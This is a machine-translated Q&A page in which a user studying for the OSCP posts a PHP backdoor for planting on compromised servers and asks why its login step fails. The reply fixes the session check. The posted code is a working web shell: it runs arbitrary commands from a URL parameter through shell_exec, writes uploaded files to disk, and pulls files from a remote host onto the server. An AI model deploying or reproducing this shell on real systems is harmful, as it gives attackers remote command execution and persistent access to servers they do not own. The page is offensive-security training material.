将PHP脚本和html渲染保留在一个函数/视图中

3therk1ll

我有一个PHP脚本正在开发中,可以作为后门程序以透支方式上传到受损的服务器/应用程序-作为PWK / OSCP的一部分。因此使用不安全的函数。

我正在尝试实现一些基本身份验证,以确保只有授权用户才能找到和使用后门。

我的问题是,一旦用户登录,当执行命令或上载时,脚本将返回login()功能而不是呈现例如ls任何其他系统命令的结果。

我尝试displayForm()从自身内部调用,但出现内存异常。

如何更改现有脚本,以便显示命令输出并为后续命令准备好表单?

为了进行此调试,已将user:password设置为1:1,因为脚本不允许空白密码。

我对PHP不熟悉,因此请原谅任何写得不好的代码!

<?php
    $_SESSION['valid'] = false;
    login();

    function displayForm() {
        if (!$_SESSION['valid']) {
            login();
        }

        $output = ""; # Leave this blank
        $host = "127.0.0.1"; # host to fetch files from if not a local upload
        $port = "9001"; 

        if (isset($_FILES['fileToUpload'])) {
            $output = "";
            $fileName = basename($_FILES["fileToUpload"]["name"]);
            $file_tmp =$_FILES['fileToUpload']['tmp_name'];
            move_uploaded_file($file_tmp, $fileName);
        }

        if (isset($_POST['remoteFile'])) {
            $output = "";
      file_put_contents($_POST['remoteFile'], file_get_contents("http://$host:$port/" . $_POST['remoteFile']));
    }
    if (isset($_GET['cmd'])) {
      $output .= "<pre>" . shell_exec($_GET['cmd']) . "</pre>";
        }

        echo <<<HTML
            <html>
                <body>
                    <form action="" method="POST" enctype="multipart/form-data">
                        <input type="hidden" name="MAX_FILE_SIZE" value="1000000">
                        <p> Local Upload: <input type="file" name="fileToUpload">
                        <input type="submit" name="upload">
                    </form>

                    <br>

                    <form action="" method="POST" enctype="multipart/form-data">
                        <p> Fetch From Remote: <input type="text" name="remoteFile">
                        <input type="submit" name="fetch">
                    </form>

                    <br>

                    <form method="GET">
                        <p>CMD: <input type="text" name="cmd">
                            <input type="submit" value="Exec">
                    </form>
                        <pre>
                            $output
                        </pre>
            </body>
        </html>
HTML;
}

    function login() {
        $output = "<pre>"  . "Username and password required. Ensure creds have been added to source." . "</pre>";
        $masterUser = "1";
        $masterPassword = "1";

        if (isset($_POST['username']) and isset($_POST['password'])) {
            if ($masterUser === "" or $masterPassword === "") {
                abortProgram();
            }

            if ($_POST['username'] === $masterUser and $_POST['password'] === $masterPassword) {
                $_SESSION['valid'] = true;
        $_SESSION['timeout'] = time();
                displayForm();
            } else {
                $output = "<pre>"  . "Invalid credentials" . "</pre>";
                header("Refresh:0");
            }
        }

        echo <<<HTML
        <html>
                <body>
                <form method="POST">
                     <input type="text" title="username" placeholder="username" name="username"/>
                     <input type="password" title="username" placeholder="password" name="password"/>
                     <button type="submit" class="btn">Login</button>
                </form>
                    <pre>
                        $output
                    </pre>
                </body>
     </html>
HTML;
    }

    function abortProgram() {
        echo <<<HTML
        <html>
                <body>
                    <pre> No password set. Access Denied. Aborting. </pre>
                </body>
     </html>
HTML;
        exit();
    }

    function logout() {
        # logout logic here
    }

?>
达米安(Damian Dziaduch)

因此问题出在第2行和第3行。当您通过登录表单“登录”时,您正在设置Session变量,并且您displayForm()在同一请求中运行但是,当您提交下一个表单时,整个页面将重新加载,因此php从上到下再次运行整个脚本。php仅在单个请求内起作用。所以这就是为什么您需要会议。要解决您的问题,您必须修改第2-3行,然后首先检查会话值是否已设置。您可以使用简单的if条件来执行此操作

<?php
if (!array_key_exists('valid', $_SESSION) || $_SESSION['valid'] !== true) {
  login();
} else {
  displayForm();
}

本文收集自互联网,转载请注明来源。

如有侵权,请联系 [email protected] 删除。

编辑于
0

我来说两句

0 条评论
登录 后参与评论

相关文章

将脚本保留在/ root中是一个坏主意吗?

如何将所选条目保留在表格中并在下一个视图中使用?

Unnest函数仅将第一个值保留在列表中

当函数返回一个结构时,它是保留在堆栈还是堆中?

将PHP函数保留在RAM中

如何将转换后的元素保留在另一个元素之后?

bash将变量引用保留在另一个变量中

将元素保留在另一个列表中包含的元组列表中

拆分一个值,但将值保留在结果数组中

PopBackStack,但将第一个片段保留在android中

熊猫:排序值,将一个特定值保留在底部

将所有内容保留在Python中最后一个'/'的左侧

移动时如何将图像保留在另一个图像后面?

在更改图像或重新加载页面时将页面保留在一个地方?

将所有元素保留在另一个列表中

将事件侦听器保留在列表的最后一个元素上

如何将第一个值保留在多列中?

提交PHP和HTML之后,将值保留在数组中

删除所有文件夹但将所有文件保留在一个文件夹中的程序/脚本

如何将html,css和js全部提供,同时将路由保留在module.export中的另一个文件中?现在只提供html

PHP-将值发送到另一个验证PHP文件后,将值保留在select下拉列表中

在绘制另一个对象时将一个绘制的对象保留在JPanel中(Java)

将文件保留在树状视图中,但是在将文件取出时会遇到麻烦

当浏览器调整大小时,将元素保留在父视图中

动态刷新后如何将旧项目保留在列表视图中?

仅将第一个值保留在重复的列上(将0设置为其他值)

将(各种大小的)行分成两列,将第一个单词保留在列中

Android操作按钮保留在以前的视图中

保留在使用Android的网络视图中